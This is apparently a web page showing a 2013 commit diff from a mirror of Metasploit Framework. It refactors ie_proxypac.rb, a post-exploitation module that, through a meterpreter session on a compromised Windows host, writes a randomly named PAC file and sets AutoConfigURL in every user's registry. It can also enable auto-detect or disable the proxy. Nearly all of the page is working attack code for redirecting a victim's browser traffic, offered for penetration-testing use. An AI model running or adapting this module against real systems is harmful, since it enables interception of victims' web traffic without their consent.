infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Applying changes

bug/bundler_fix
bmerinofe 2013-12-10 03:07:40 +01:00
parent 5e5fd6b01a
commit e9edce10ac
1 changed files with 113 additions and 112 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

225
modules/post/windows/manage/ie_proxypac.rb
View File

@ -5,128 +5,129 @@
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv include Msf::Post::Windows::Priv
include Msf::Post::Common include Msf::Post::File
include Msf::Post::File include Msf::Post::Windows::Registry
include Msf::Post::Windows::Registry
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
'Name' => 'Windows Manage Proxy PAC File', 'Name' => 'Windows Manage Proxy PAC File',
'Description' => %q{ 'Description' => %q{
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
option a PAC file will be created in the victim host. It's also possible to especify a option a PAC file will be created in the victim host. It's also possible to especify a
remote PAC file (REMOTE_PAC option) by providing the full URL. Ej: http://192.168.1.20/proxy.pac remote PAC file (REMOTE_PAC option) by providing the full URL. Ej: http://192.168.1.20/proxy.pac
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'], 'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
'References' => 'References' =>
[ [
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ], [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ] [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
], ],
'Platform' => [ 'windows' ], 'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ] 'SessionTypes' => [ 'meterpreter' ]
)) ))
register_options( register_options(
[ [
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]), OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
OptString.new('REMOTE_PAC', [false, 'Remote PAC file.' ]), OptString.new('REMOTE_PAC', [false, 'Remote PAC file.' ]),
OptBool.new('DISABLE_PROXY',[false, 'Disable the proxy server.', false]), OptBool.new('DISABLE_PROXY',[false, 'Disable the proxy server.', false]),
OptBool.new('AUTO_DETECT', [false, 'Automatically detect settings.', false]) OptBool.new('AUTO_DETECT', [false, 'Automatically detect settings.', false])
], self.class) ], self.class)
end end
def run def run
if datastore['LOCAL_PAC'].nil? and datastore['REMOTE_PAC'].nil? if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
print_error("You must set a remote or local PAC file.") print_error("You must set a remote or local PAC file.")
return return
end end
if datastore['REMOTE_PAC'] if datastore['REMOTE_PAC']
@remote = true @remote = true
print_status("Setting a remote PAC file ...") print_status("Setting a remote PAC file ...")
enable_proxypac(datastore['REMOTE_PAC']) enable_proxypac(datastore['REMOTE_PAC'])
else else
print_status("Setting a local PAC file ...") print_status("Setting a local PAC file ...")
pac_file = create_pac(datastore['LOCAL_PAC']) pac_file = create_pac(datastore['LOCAL_PAC'])
enable_proxypac(pac_file) if pac_file enable_proxypac(pac_file) if pac_file
end end
auto_detect_on if datastore['AUTO_DETECT'] auto_detect_on if datastore['AUTO_DETECT']
disable_proxy if datastore['DISABLE_PROXY'] disable_proxy if datastore['DISABLE_PROXY']
end end
def create_pac(local_pac) def create_pac(local_pac)
pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac" pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
conf_pac = "" conf_pac = ""
if ::File.exists?(local_pac) if ::File.exists?(local_pac)
conf_pac << ::File.open(local_pac, "rb").read conf_pac << ::File.open(local_pac, "rb").read
else else
print_error("Local PAC file not found.") print_error("Local PAC file not found.")
return false return false
end end
if write_file(pac_file,conf_pac) if write_file(pac_file,conf_pac)
print_good ("PAC proxy configuration file written to #{pac_file}") print_good ("PAC proxy configuration file written to #{pac_file}")
return pac_file return pac_file
else else
print_error("There were problems creating the PAC proxy file.") print_error("There were problems creating the PAC proxy file.")
return false return false
end end
end end
def enable_proxypac(pac) def enable_proxypac(pac)
registry_enumkeys('HKU').each do |k| registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21" next unless k.include? "S-1-5-21"
next if k.include? "_Classes" next if k.include? "_Classes"
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings" key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
value_auto = "AutoConfigURL" value_auto = "AutoConfigURL"
file = (@remote) ? "#{pac}" : "file://#{pac}" file = (@remote) ? "#{pac}" : "file://#{pac}"
begin begin
registry_setvaldata(key,value_auto,file,"REG_SZ") registry_setvaldata(key,value_auto,file,"REG_SZ")
rescue::Exception => e rescue
end next
print_good ("Proxy PAC enabled.") if change_defConSettings(16,'05',key + '\\Connections') end
end print_good ("Proxy PAC enabled.") if change_connection(16,'05',key + '\\Connections')
end end
end
def auto_detect_on() def auto_detect_on()
registry_enumkeys('HKU').each do |k| registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21" next unless k.include? "S-1-5-21"
next if k.include? "_Classes" next if k.include? "_Classes"
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections" key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
print_good ("Automatically detect settings on.") if change_defConSettings(16,'0D',key) print_good ("Automatically Detect Settings on.") if change_connection(16,'0D',key)
end end
end end
def disable_proxy() def disable_proxy()
value_enable = "ProxyEnable" value_enable = "ProxyEnable"
profile = false profile = false
registry_enumkeys('HKU').each do |k| registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21" next unless k.include? "S-1-5-21"
next if k.include? "_Classes" next if k.include? "_Classes"
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings" key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
begin begin
registry_setvaldata(key,value_enable,0,"REG_DWORD") registry_setvaldata(key,value_enable,0,"REG_DWORD")
profile = true profile = true
rescue::Exception => e rescue
end next
end end
print_good ("Proxy disable.") if profile end
end print_good ("Proxy disable.") if profile
end
def change_defConSettings(offset,value,key) def change_connection(offset,value,key)
value_defCon = "DefaultConnectionSettings" value_default = "DefaultConnectionSettings"
begin begin
value_con = registry_getvaldata(key,value_defCon) value_con = registry_getvaldata(key,value_default)
binary_data = value_con.unpack('H*')[0] binary_data = value_con.unpack('H*')[0]
binary_data[offset,2] = value binary_data[offset,2] = value
registry_setvaldata(key,value_defCon,["%x" % binary_data.to_i(16)].pack("H*"),"REG_BINARY") registry_setvaldata(key,value_default,["%x" % binary_data.to_i(16)].pack("H*"),"REG_BINARY")
rescue::Exception => e rescue
return false return false
end end
end end
end end